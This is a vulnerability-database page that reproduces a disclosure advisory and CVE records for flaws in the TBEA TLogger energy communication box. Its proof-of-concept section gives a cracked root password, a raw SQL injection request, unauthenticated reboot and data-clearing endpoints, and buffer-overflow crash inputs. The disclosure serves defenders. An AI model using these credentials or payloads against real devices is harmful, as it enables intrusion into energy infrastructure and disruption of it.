Search
Find a vulnerability
Search criteria
ⓘ
Use this form to refine search results.
Full-text search supports keyword queries with ranking and filtering.
You can combine vendor, product, and sources to narrow results.
Enable “Apply ordering” to sort by date instead of relevance.
13 vulnerabilities by TBEA
GCVE-1988-2026-0381
Vulnerability from gna-1988 – Published: 2026-09-11 08:27 – Updated: 2026-09-11 08:27
VLAI
EPSS
VEX
Title
Multiple Vulnerabilities in TBEA TLogger Communication Box 3rd Generation
Summary
-------------------------------------------------------------------------------
title| Multiple Vulnerabilities in TBEA TLogger
product| TBEA TLogger (TBEA Communication Box 3rd Generation)
vulnerable version| V2.1.0.0B0.0.0.0
fixed version| -
CVE number| CVE-2025-13293, CVE-2025-13294, CVE-2025-15680,
| CVE-2025-15681, CVE-2025-15682, CVE-2025-15683
impact| Critical
homepage| https://www.tbea.com/
-------------------------------------------------------------------------------
Vendor description
-------------------------------------------------------------------------------
"TBEA, a group committed to “green and low-carbon development”, is a pioneer in
global energy-efficient power transmission and distribution, and a
industry-leading service provider of clean energy solutions."
Source: https://en.tbea.com/about.html
Vulnerable versions
-------------------------------------------------------------------------------
TBEA TLogger / V2.1.0.0B0.0.0.0
Vulnerability overview
-------------------------------------------------------------------------------
1) Backdoor Account (CVE-2025-13293)
The TLogger exposes SSH to the network. This SSH service also allows root
login on the device. By cracking the hash from the file '/etc/shadow' it was
possible to recover the password.
2) Unauthenticated SQL Injection (CVE-2025-13294)
The webserver accepts unauthenticated request that trigger SQLite Queries from
the CCU.db, these request are vulnerable the SQL injections. An attacker can
modify, read and delete data this way.
3) Information Disclosure via UART (CVE-2025-15680)
The UART interface is exposed on the circuit board. A physical attacker can use
the interface to observer the boot procedure and get valuable debug information
from the system via this way.
4) Insufficient Webserver Authentication (CVE-2025-15681)
The authentication of the webserver was implemented in an insufficient way. A
user can bypass the login via browsing to another endpoint of the system.
This is only possible if any user was logged into the device previously.
5) Unauthenticated Resource Exhaustion (CVE-2025-15682)
The webserver accepts a unauthenticated PUT request that create files
containing user specified data in /opt/myapp/webserver/.
6) Multiple Unauthenticated DoS Conditions (CVE-2025-15683)
The webserver can be put in denial of service conditions by accessing to
specific endpoints. These endpoints do not require any previous authentication.
Proof of Concept
-------------------------------------------------------------------------------
1) Backdoor Account (CVE-2025-13293)
By reading out the file /etc/shadow, the hash of the user root gets exposed:
root:aH8eS1ufCL7xY:17464:0:99999:7:::
The cracked password is: tbea1234
This can be used to login as root user via SSH to the device.
2) Unauthenticated SQL Injection (CVE-2025-13294)
By sending a request where one of the parameters contains a URL encoded SQL
injection you can modify the output from the query:
~
GET /action/DayCapacity?&date="1'+OR+1%3d1%3b--" HTTP/1.1
Host: 192.168.19.132
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: tbea_language=en
Upgrade-Insecure-Requests: 1
Priority: u=0, i
~
This happens because the value of date is added to the query string without any
parsing or validation:
~
char* r0_5 = websGetVar(wp_1, "date", 0x963a4, &wp_1)
sprintf(&var_5cc, "where strftime('%%Y-%%m-%%d', DATE_TIME) = '%s' ", r0_5,
"where strftime('%%Y-%%m-%%d', DATE_TIME) = '%s' ")
strcat(&sql, &var_5cc)
~
The same method is used through out the webserver. Therefore, multiple "action"
endpoints that are prone to the SQL injection vulnerability:
Selects:
*
DayCapacity
*
MonthCapacity
*
YearCaparity
*
recordData
*
InvHistoryData (&index>=1000)
*
CollectHistoryData
*
InvFaultData (&index>=100)
*
GetPortTableByParm
*
GetDicTransmit
*
GetDicDataPoint
*
GetXMLConfigByIPAndTypeCode
*
GetDicDataPointByInfo
*
Getstation_data
*
Getcustom_data
*
GetXmlSgnalConfig
*
getTrackParaData
Deletes:
*
DeletePortTable1_4ByParm
*
DeleteHostIP_configByIp
*
DeleteIP_configByIp
*
DeleteDicTransmit
*
DeleteDicDataPoint
*
XMLInfoInDb
3) Information Disclosure via UART (CVE-2025-15680)
Two pins on the backside of the TLogger PCB can be used to gain UART access.
By attaching a UART-to-USB serial converter, the following system startup can
be observed:
~
U-Boot 2016.03 (Jun 11 2022 - 12:04:08 +0800)
CPU: Freescale i.MX6ULL rev1.1 69 MHz (running at 396 MHz)
CPU: Temperature 32 C
Reset cause: POR
Board: EPC-M6Y2C
Watchdog enabled
DRAM: 256 MiB
NAND: 256 MiB
MMC: FSL_SDHC: 0
In: serial
Out: serial
Err: serial
Net: FEC1
Normal Boot
Hit 'zlg' to stop autoboot: 2 1 0
[...]
IPv6: ADDRCONF(NETDEV_CHANGE): eth0: link becomes ready
ifconfig: SIOCSIFFLAGS: Operation not permitted
/etc/init.d/rcS: /etc/init.d/S90start_userapp.sh: line 45: can't create
/sys/class/rtc/rtc0/device/clk_out_ctl: Permission denied
set file system rw start
set file system rw end
/sbin:/usr/sbin:/bin:/usr/bin
/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin
/ u s r / l o c a l / q t - 4 . 8 . 6 / l i b : / u s r / l o c a l / q t -
4.8.6/plugins/imageformats:/usr/local/tslib/lib:
main() start.
--------------------
System: system start to run...
[...]
debug IP=192.168.1.253
route: SIOCADDRT: File exists
webserver: 2: Configuration for Embedthis webserver
webserver: 2: ---------------------------------------------
webserver: 2: Version: V2.1.0.0B0.0.0.0
webserver: 2: BuildType: Debug
webserver: 2: CPU: arm
webserver: 2: OS: linux
webserver: 2: Host: 192.168.2.253
webserver: 2: Directory: /opt/myapp/webserver
webserver: 2: Documents: web
webserver: 2: Configure: me -d -q -platform windows-x86-default -
configure . -without ssl -gen vs
webserver: 2: ---------------------------------------------
webserver: 2: Started http://:80
~
Such details and the resulting debug capabilities enable a physical attacker to
debug the device effectively during runtime.
4) Insufficient Webserver Authentication (CVE-2025-15681)
The webserver of the TLogger required to be logged in to the application for
administrating the device. If a user has been authenticated correctly in a
previous session, it was possible for a malicious actor to browse to the
endpoint "/index.asp", and bypass the login process completely. The root cause
is suspected to be a memory management issue within the webserver daemon itself.
An attacker can not see its user name as there are just memory residue, which
are displayed instead of admin. If such an unauthenticated-but-authenticated
user logs out, the webserver crashes.
5) Unauthenticated Resource Exhaustion (CVE-2025-15682)
By sending a PUT request to the endpoint "/tmp/", the webserver creates the
file "/opt/myapp/webserver/put-0.tmp" containing the data from the request
body. Every subsequent request will create a new file e.g. "put-1.tmp":
~
PUT /tmp/ HTTP/1.1
Host: 192.168.19.132
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: tbea_language=en
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Length: 22
USERSPECIFIED DATA
~
These file aren’t deleted automatically, leading to a memory resource
exhaustion. This issue occurs because the webserver attempts to move the
generated "put-1.tmp" file into "/opt/myapp/webserver/web/tmp/". However, the
"web/tmp/" directory does not exist.
6) Multiple Unauthenticated DoS Conditions (CVE-2025-15683)
Different DoS conditions can be triggered via the webserver on the device.
Unauthenticated DoS Actions:
The webserver allows for multiple unauthenticated /action calls that result in
a DoS:
*
/action/onRestart - Triggers a reboot
*
/action/onReset - Sets FLAG_RECREATE followed by reboot
*
/action/ClearData - Sets FLAG_CLEARDATA
*
/action/uploadInvFile - When sent as POST Request without a file results in SegFault of the Webserver
Unauthenticated DoS via Buffer Overflow
Multiple /action calls, when sent with certain parameters, result in a Segfault
of the Webserver because of a buffer overflow. This happens because the typical
method to assemble the queries is sprintf() and strcat() without any length
checks.
Vulnerable action calls:
*
/action/getIndiaRPData index=”1’--aaaabaaacaaadaaaeaaafa” type=1D
*
/action/YearCaparity date=’A’300
*
/action/TotalfaultData startDate=’A’300
*
/action/recordData startDate=’A’300
*
/action/InvHistoryData index>=1000 startDate=’A’300
*
/action/CollectHistoryData startDate=’A’300
*
/action/InvFaultData index>=100 startDate=’A’300
*
/action/GetPortTableByParm port='A'2000
*
/action/UpdatePortConfig port='A'2000
Solution
-------------------------------------------------------------------------------
None.
Workaround
-------------------------------------------------------------------------------
Restrict network and physical access to the device. The component should only
be operated in an encapsulated/air-gapped environment.
Recommendation
-------------------------------------------------------------------------------
Implement a customized action plan in advance, if the product should be
integrated in the infrastructure.
Contact Timeline
-------------------------------------------------------------------------------
2026-01-07: Contacted Austrian Energy CERT
2026-01-07: Initial contact attempt / Inquiry to zxxxxxxxxxxxxg[@]tbea[.]com
regarding potential vulnerabilities.
2026-01-22: Contact attempt via LinkedIn with alleged "International Business
Manager at TBEA".
2026-01-22: Attempted to get contact addresses via other european CERTs.
2026-01-22: Attempted to get contact addresses via Energy ISAC.
2026-04-27: Sent initial findings regarding CVE-2025-13293 and
CVE-2025-13294 to generic mailbox tbeaoffice[@]tbea[.]com.
2026-08-05: Sent further findings regarding CVE-2025-15680, CVE-2025-15681,
CVE-2025-15682 and CVE-2025-15683 to generic mailbox
tbeaoffice[@]tbea[.]com.
2026-08-10: Advisory publication.
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-descriptionexploit |
| https://seclists.org/fulldisclosure/2026/Aug/82 | technical-description |
| http://:80 | |
| https://en.tbea.com/about.html | |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ | |
| https://www.tbea.com/ |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| TBEA | TBEA TLogger (TBEA Communication Box 3rd Generation) |
Affected:
unknown
|
Relationships
analysis
GCVE-1988-2026-0381 (this record)
- related CVE-2025-13293
- related CVE-2025-13294
- related CVE-2025-15680
- related CVE-2025-15681
- related CVE-2025-15682
- related CVE-2025-15683
{
"containers": {
"cna": {
"affected": [
{
"product": "TBEA TLogger (TBEA Communication Box 3rd Generation)",
"vendor": "TBEA",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Thomas Weber | CyberDanube via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "-------------------------------------------------------------------------------\ntitle| Multiple Vulnerabilities in TBEA TLogger\nproduct| TBEA TLogger (TBEA Communication Box 3rd Generation)\nvulnerable version| V2.1.0.0B0.0.0.0\nfixed version| -\nCVE number| CVE-2025-13293, CVE-2025-13294, CVE-2025-15680,\n| CVE-2025-15681, CVE-2025-15682, CVE-2025-15683\nimpact| Critical\nhomepage| https://www.tbea.com/\n-------------------------------------------------------------------------------\nVendor description\n-------------------------------------------------------------------------------\n\"TBEA, a group committed to \u201cgreen and low-carbon development\u201d, is a pioneer in\nglobal energy-efficient power transmission and distribution, and a\nindustry-leading service provider of clean energy solutions.\"\nSource: https://en.tbea.com/about.html\nVulnerable versions\n-------------------------------------------------------------------------------\nTBEA TLogger / V2.1.0.0B0.0.0.0\n\nVulnerability overview\n-------------------------------------------------------------------------------\n1) Backdoor Account (CVE-2025-13293)\nThe TLogger exposes SSH to the network. This SSH service also allows root\nlogin on the device. By cracking the hash from the file \u0027/etc/shadow\u0027 it was\npossible to recover the password.\n2) Unauthenticated SQL Injection (CVE-2025-13294)\nThe webserver accepts unauthenticated request that trigger SQLite Queries from\nthe CCU.db, these request are vulnerable the SQL injections. An attacker can\nmodify, read and delete data this way.\n3) Information Disclosure via UART (CVE-2025-15680)\nThe UART interface is exposed on the circuit board. A physical attacker can use\nthe interface to observer the boot procedure and get valuable debug information\nfrom the system via this way.\n4) Insufficient Webserver Authentication (CVE-2025-15681)\nThe authentication of the webserver was implemented in an insufficient way. A\nuser can bypass the login via browsing to another endpoint of the system.\nThis is only possible if any user was logged into the device previously.\n5) Unauthenticated Resource Exhaustion (CVE-2025-15682)\nThe webserver accepts a unauthenticated PUT request that create files\ncontaining user specified data in /opt/myapp/webserver/.\n6) Multiple Unauthenticated DoS Conditions (CVE-2025-15683)\nThe webserver can be put in denial of service conditions by accessing to\nspecific endpoints. These endpoints do not require any previous authentication.\nProof of Concept\n-------------------------------------------------------------------------------\n1) Backdoor Account (CVE-2025-13293)\nBy reading out the file /etc/shadow, the hash of the user root gets exposed:\nroot:aH8eS1ufCL7xY:17464:0:99999:7:::\nThe cracked password is: tbea1234\nThis can be used to login as root user via SSH to the device.\n2) Unauthenticated SQL Injection (CVE-2025-13294)\nBy sending a request where one of the parameters contains a URL encoded SQL\ninjection you can modify the output from the query:\n~\nGET /action/DayCapacity?\u0026date=\"1\u0027+OR+1%3d1%3b--\" HTTP/1.1\nHost: 192.168.19.132\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nConnection: keep-alive\nCookie: tbea_language=en\nUpgrade-Insecure-Requests: 1\nPriority: u=0, i\n~\nThis happens because the value of date is added to the query string without any\nparsing or validation:\n~\nchar* r0_5 = websGetVar(wp_1, \"date\", 0x963a4, \u0026wp_1)\nsprintf(\u0026var_5cc, \"where strftime(\u0027%%Y-%%m-%%d\u0027, DATE_TIME) = \u0027%s\u0027 \", r0_5,\n\"where strftime(\u0027%%Y-%%m-%%d\u0027, DATE_TIME) = \u0027%s\u0027 \")\nstrcat(\u0026sql, \u0026var_5cc)\n~\nThe same method is used through out the webserver. Therefore, multiple \"action\"\nendpoints that are prone to the SQL injection vulnerability:\nSelects:\n\n *\nDayCapacity\n *\nMonthCapacity\n *\nYearCaparity\n *\nrecordData\n *\nInvHistoryData (\u0026index\u003e=1000)\n *\nCollectHistoryData\n *\nInvFaultData (\u0026index\u003e=100)\n *\nGetPortTableByParm\n *\nGetDicTransmit\n *\nGetDicDataPoint\n *\nGetXMLConfigByIPAndTypeCode\n *\nGetDicDataPointByInfo\n *\nGetstation_data\n *\nGetcustom_data\n *\nGetXmlSgnalConfig\n *\ngetTrackParaData\nDeletes:\n *\nDeletePortTable1_4ByParm\n *\nDeleteHostIP_configByIp\n *\nDeleteIP_configByIp\n *\nDeleteDicTransmit\n *\nDeleteDicDataPoint\n *\nXMLInfoInDb\n\n3) Information Disclosure via UART (CVE-2025-15680)\nTwo pins on the backside of the TLogger PCB can be used to gain UART access.\nBy attaching a UART-to-USB serial converter, the following system startup can\nbe observed:\n~\nU-Boot 2016.03 (Jun 11 2022 - 12:04:08 +0800)\nCPU: Freescale i.MX6ULL rev1.1 69 MHz (running at 396 MHz)\nCPU: Temperature 32 C\nReset cause: POR\nBoard: EPC-M6Y2C\nWatchdog enabled\nDRAM: 256 MiB\nNAND: 256 MiB\nMMC: FSL_SDHC: 0\nIn: serial\nOut: serial\nErr: serial\nNet: FEC1\nNormal Boot\nHit \u0027zlg\u0027 to stop autoboot: 2 1 0\n[...]\nIPv6: ADDRCONF(NETDEV_CHANGE): eth0: link becomes ready\nifconfig: SIOCSIFFLAGS: Operation not permitted\n/etc/init.d/rcS: /etc/init.d/S90start_userapp.sh: line 45: can\u0027t create\n/sys/class/rtc/rtc0/device/clk_out_ctl: Permission denied\nset file system rw start\nset file system rw end\n/sbin:/usr/sbin:/bin:/usr/bin\n/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin\n/ u s r / l o c a l / q t - 4 . 8 . 6 / l i b : / u s r / l o c a l / q t -\n4.8.6/plugins/imageformats:/usr/local/tslib/lib:\nmain() start.\n--------------------\nSystem: system start to run...\n[...]\ndebug IP=192.168.1.253\nroute: SIOCADDRT: File exists\nwebserver: 2: Configuration for Embedthis webserver\nwebserver: 2: ---------------------------------------------\nwebserver: 2: Version: V2.1.0.0B0.0.0.0\nwebserver: 2: BuildType: Debug\nwebserver: 2: CPU: arm\nwebserver: 2: OS: linux\nwebserver: 2: Host: 192.168.2.253\nwebserver: 2: Directory: /opt/myapp/webserver\nwebserver: 2: Documents: web\nwebserver: 2: Configure: me -d -q -platform windows-x86-default -\nconfigure . -without ssl -gen vs\nwebserver: 2: ---------------------------------------------\nwebserver: 2: Started http://:80\n~\nSuch details and the resulting debug capabilities enable a physical attacker to\ndebug the device effectively during runtime.\n4) Insufficient Webserver Authentication (CVE-2025-15681)\nThe webserver of the TLogger required to be logged in to the application for\nadministrating the device. If a user has been authenticated correctly in a\nprevious session, it was possible for a malicious actor to browse to the\nendpoint \"/index.asp\", and bypass the login process completely. The root cause\nis suspected to be a memory management issue within the webserver daemon itself.\nAn attacker can not see its user name as there are just memory residue, which\nare displayed instead of admin. If such an unauthenticated-but-authenticated\nuser logs out, the webserver crashes.\n\n5) Unauthenticated Resource Exhaustion (CVE-2025-15682)\nBy sending a PUT request to the endpoint \"/tmp/\", the webserver creates the\nfile \"/opt/myapp/webserver/put-0.tmp\" containing the data from the request\nbody. Every subsequent request will create a new file e.g. \"put-1.tmp\":\n~\nPUT /tmp/ HTTP/1.1\nHost: 192.168.19.132\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nConnection: keep-alive\nCookie: tbea_language=en\nUpgrade-Insecure-Requests: 1\nPriority: u=0, i\nContent-Length: 22\nUSERSPECIFIED DATA\n~\nThese file aren\u2019t deleted automatically, leading to a memory resource\nexhaustion. This issue occurs because the webserver attempts to move the\ngenerated \"put-1.tmp\" file into \"/opt/myapp/webserver/web/tmp/\". However, the\n\"web/tmp/\" directory does not exist.\n\n6) Multiple Unauthenticated DoS Conditions (CVE-2025-15683)\nDifferent DoS conditions can be triggered via the webserver on the device.\nUnauthenticated DoS Actions:\nThe webserver allows for multiple unauthenticated /action calls that result in\na DoS:\n\n *\n/action/onRestart - Triggers a reboot\n *\n/action/onReset - Sets FLAG_RECREATE followed by reboot\n *\n/action/ClearData - Sets FLAG_CLEARDATA\n *\n/action/uploadInvFile - When sent as POST Request without a file results in SegFault of the Webserver\n\nUnauthenticated DoS via Buffer Overflow\nMultiple /action calls, when sent with certain parameters, result in a Segfault\nof the Webserver because of a buffer overflow. This happens because the typical\nmethod to assemble the queries is sprintf() and strcat() without any length\nchecks.\nVulnerable action calls:\n\n *\n/action/getIndiaRPData index=\u201d1\u2019--aaaabaaacaaadaaaeaaafa\u201d type=1D\n *\n/action/YearCaparity date=\u2019A\u2019300\n *\n/action/TotalfaultData startDate=\u2019A\u2019300\n *\n/action/recordData startDate=\u2019A\u2019300\n *\n/action/InvHistoryData index\u003e=1000 startDate=\u2019A\u2019300\n *\n/action/CollectHistoryData startDate=\u2019A\u2019300\n *\n/action/InvFaultData index\u003e=100 startDate=\u2019A\u2019300\n *\n/action/GetPortTableByParm port=\u0027A\u00272000\n *\n/action/UpdatePortConfig port=\u0027A\u00272000\n\nSolution\n-------------------------------------------------------------------------------\nNone.\n\nWorkaround\n-------------------------------------------------------------------------------\nRestrict network and physical access to the device. The component should only\nbe operated in an encapsulated/air-gapped environment.\n\nRecommendation\n-------------------------------------------------------------------------------\nImplement a customized action plan in advance, if the product should be\nintegrated in the infrastructure.\n\nContact Timeline\n-------------------------------------------------------------------------------\n2026-01-07: Contacted Austrian Energy CERT\n2026-01-07: Initial contact attempt / Inquiry to zxxxxxxxxxxxxg[@]tbea[.]com\nregarding potential vulnerabilities.\n2026-01-22: Contact attempt via LinkedIn with alleged \"International Business\nManager at TBEA\".\n2026-01-22: Attempted to get contact addresses via other european CERTs.\n2026-01-22: Attempted to get contact addresses via Energy ISAC.\n2026-04-27: Sent initial findings regarding CVE-2025-13293 and\nCVE-2025-13294 to generic mailbox tbeaoffice[@]tbea[.]com.\n2026-08-05: Sent further findings regarding CVE-2025-15680, CVE-2025-15681,\nCVE-2025-15682 and CVE-2025-15683 to generic mailbox\ntbeaoffice[@]tbea[.]com.\n2026-08-10: Advisory publication.\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-11T08:27:55Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/82"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Aug/82"
},
{
"url": "http://:80"
},
{
"url": "https://en.tbea.com/about.html"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.tbea.com/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Aug/82"
],
"discovery": "EXTERNAL"
},
"title": "Multiple Vulnerabilities in TBEA TLogger Communication Box 3rd Generation",
"x_gcve": [
{
"recordType": "analysis",
"relationships": [
{
"destId": "CVE-2025-13293",
"type": "related"
},
{
"destId": "CVE-2025-13294",
"type": "related"
},
{
"destId": "CVE-2025-15680",
"type": "related"
},
{
"destId": "CVE-2025-15681",
"type": "related"
},
{
"destId": "CVE-2025-15682",
"type": "related"
},
{
"destId": "CVE-2025-15683",
"type": "related"
}
],
"vulnId": "GCVE-1988-2026-0381",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/82",
"automated": true,
"contentSha256": "c9eac5e1a50dea19ad61e2d01ad80edba3199414b78ed31094c0da01cf6f1b2b",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/82",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-25T13:18:02Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0381"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-11T08:27:55Z",
"dateUpdated": "2026-09-11T08:27:55Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0381"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2025-15683 (GCVE-0-2025-15683)
Vulnerability from nvd – Published: 2026-08-10 19:38 – Updated: 2026-08-12 18:17
VLAI
EPSS
VEX
Title
Multiple Unauthenticated Denial-of-Service Conditions
Summary
TBEA TLogger V2.1.0.0B0.0.0.0 contains multiple unauthenticated denial-of-service vulnerabilities in its web server. An unauthenticated remote attacker can invoke specific HTTP endpoints to reboot or reset the device, clear application data, or terminate the web server through a segmentation fault. In addition, multiple action endpoints process attacker-controlled parameters using unsafe string operations such as sprintf() and strcat() without adequate bounds checking, allowing crafted input to trigger buffer overflows and crash the web server. The affected endpoints include onRestart, onReset, ClearData, uploadInvFile, getIndiaRPData, YearCaparity, TotalfaultData, recordData, InvHistoryData, CollectHistoryData, InvFaultData, GetPortTableByParm, and UpdatePortConfig.
Severity
SSVC
Exploitation: none
Automatable: yes
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-08-12 18:17 UTC
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://en.tbea.com/about.html |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| TBEA | TBEA TLogger (TBEA Communication Box 3rd Generation) |
Affected:
0 , ≤ V2.1.0.0B0.0.0.0
(custom)
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-15683",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-08-12T18:17:06.895069Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-08-12T18:17:21.333Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "TBEA TLogger (TBEA Communication Box 3rd Generation)",
"vendor": "TBEA",
"versions": [
{
"lessThanOrEqual": "V2.1.0.0B0.0.0.0",
"status": "affected",
"version": "0",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "S. Eisenreich-Dietz (CyberDanube)"
},
{
"lang": "en",
"type": "finder",
"value": "T. Weber (CyberDanube)"
},
{
"lang": "en",
"type": "finder",
"value": "F. Koroknai"
},
{
"lang": "en",
"type": "finder",
"value": "D. Blagojevic"
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "TBEA TLogger V2.1.0.0B0.0.0.0 contains multiple unauthenticated denial-of-service vulnerabilities in its web server. An unauthenticated remote attacker can invoke specific HTTP endpoints to reboot or reset the device, clear application data, or terminate the web server through a segmentation fault. In addition, multiple action endpoints process attacker-controlled parameters using unsafe string operations such as \u003ccode\u003esprintf()\u003c/code\u003e and \u003ccode\u003estrcat()\u003c/code\u003e without adequate bounds checking, allowing crafted input to trigger buffer overflows and crash the web server. The affected endpoints include \u003ccode\u003eonRestart\u003c/code\u003e, \u003ccode\u003eonReset\u003c/code\u003e, \u003ccode\u003eClearData\u003c/code\u003e, \u003ccode\u003euploadInvFile\u003c/code\u003e, \u003ccode\u003egetIndiaRPData\u003c/code\u003e, \u003ccode\u003eYearCaparity\u003c/code\u003e, \u003ccode\u003eTotalfaultData\u003c/code\u003e, \u003ccode\u003erecordData\u003c/code\u003e, \u003ccode\u003eInvHistoryData\u003c/code\u003e, \u003ccode\u003eCollectHistoryData\u003c/code\u003e, \u003ccode\u003eInvFaultData\u003c/code\u003e, \u003ccode\u003eGetPortTableByParm\u003c/code\u003e, and \u003ccode\u003eUpdatePortConfig\u003c/code\u003e."
}
],
"value": "TBEA TLogger V2.1.0.0B0.0.0.0 contains multiple unauthenticated denial-of-service vulnerabilities in its web server. An unauthenticated remote attacker can invoke specific HTTP endpoints to reboot or reset the device, clear application data, or terminate the web server through a segmentation fault. In addition, multiple action endpoints process attacker-controlled parameters using unsafe string operations such as sprintf() and strcat() without adequate bounds checking, allowing crafted input to trigger buffer overflows and crash the web server. The affected endpoints include onRestart, onReset, ClearData, uploadInvFile, getIndiaRPData, YearCaparity, TotalfaultData, recordData, InvHistoryData, CollectHistoryData, InvFaultData, GetPortTableByParm, and UpdatePortConfig."
}
],
"impacts": [
{
"capecId": "CAPEC-115",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-115 Authentication Bypass"
}
]
},
{
"capecId": "CAPEC-100",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-100 Overflow Buffers"
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"exploitMaturity": "NOT_DEFINED",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-306",
"description": "CWE-306 Missing authentication for critical function",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-121",
"description": "CWE-121 Stack-based buffer overflow",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-10T19:38:57.641Z",
"orgId": "7d092a75-6bbd-48c6-a15a-0297458009bc",
"shortName": "CyberDanube"
},
"references": [
{
"url": "https://en.tbea.com/about.html"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "Multiple Unauthenticated Denial-of-Service Conditions",
"x_generator": {
"engine": "Vulnogram 1.0.4"
}
}
},
"cveMetadata": {
"assignerOrgId": "7d092a75-6bbd-48c6-a15a-0297458009bc",
"assignerShortName": "CyberDanube",
"cveId": "CVE-2025-15683",
"datePublished": "2026-08-10T19:38:57.641Z",
"dateReserved": "2026-08-04T11:34:49.423Z",
"dateUpdated": "2026-08-12T18:17:21.333Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2025-15682 (GCVE-0-2025-15682)
Vulnerability from nvd – Published: 2026-08-10 19:33 – Updated: 2026-08-12 18:15
VLAI
EPSS
VEX
Title
Unauthenticated Resource Exhaustion
Summary
TBEA TLogger V2.1.0.0B0.0.0.0 contains an unauthenticated resource exhaustion vulnerability in its web server. An unauthenticated remote attacker can send PUT requests to the /tmp/ endpoint, causing the web server to create persistent files containing attacker-controlled data under /opt/myapp/webserver/. The generated files are not removed because the web server attempts to move them into a non-existent directory. Repeated requests can therefore exhaust available storage and cause a denial-of-service condition.
Severity
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-08-12 18:14 UTC
CWE
- CWE-770 - Allocation of resources without limits or throttling
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://en.tbea.com/about.html |
Impacted products
1 product
| Vendor | Product | Version | |
